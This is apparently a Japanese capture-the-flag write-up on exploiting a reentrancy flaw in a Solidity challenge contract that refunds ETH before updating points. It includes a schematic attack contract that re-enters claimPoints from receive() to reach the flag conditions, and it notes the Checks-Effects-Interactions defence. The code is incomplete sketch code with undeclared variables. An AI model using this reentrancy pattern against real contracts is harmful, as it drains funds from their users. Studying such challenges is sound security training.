Skip to content
On this page

S2C4: Reentrancy + Payment

1. 問題

コントラクトは以下の条件を要求します:(1)呼び出し元が一定量の ETH を支払うこと(2)flag を mint するために特定のポイント/レベル条件を満たすこと。コントラクトは返金に call{value: ...} を使用しています。

2. 原因

S1C5 と同様に、コントラクトはポイント減算の前に外部呼び出し(ETH 転送)を行っており、リエントランシー脆弱性を引き起こしています。ただし今回は事前に ETH を預け入れる必要もあります。

3. 解法

  1. 攻撃コントラクトに事前に十分な ETH を転送します
  2. 攻撃コントラクトがチャレンジコントラクトの支払い関数を呼び出します
  3. receive() コールバック内で重要な関数に再入します
  4. 条件を満たした後、mintFlag を呼び出します
solidity
contract S2C4Solution {
    constructor(address challenge) payable {
        // ETH を事前に預け入れます
        challenge.call{value: requiredEth}("");
    }

    function solve() external {
        challenge.claimPoints(); // リエントランシーをトリガーします
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (counter < TARGET) {
            counter++;
            challenge.claimPoints();
        }
    }
}

4. 遭遇した落とし穴

ETH 残高管理: 攻撃コントラクトは事前に十分な ETH を預け入れる必要があり、リエントランシー中に十分な gas を確保する必要があります。

5. 落とし穴の原因

コントラクトは call{value: amount}("") を使用して ETH を送信し、これにより受信者の receive() 関数がトリガーされます。返金額が不足している場合、後続のロジックが誤動作する可能性があります。

6. 解決方法

攻撃コントラクトのデプロイ時に十分な ETH を付与します(--value フラグを使用するか、コンストラクタで payable にします)。

7. 技術的ポイント

ポイント説明
リエントランシー + ETH 支払い複合攻撃:資金とリエントランシーロジックを同時に処理する必要があります
payable コンストラクタデプロイ時に攻撃コントラクトに ETH を事前に預け入れます
CEI パターンChecks-Effects-Interactions はこのような攻撃を防ぐことができます

Built with AiAda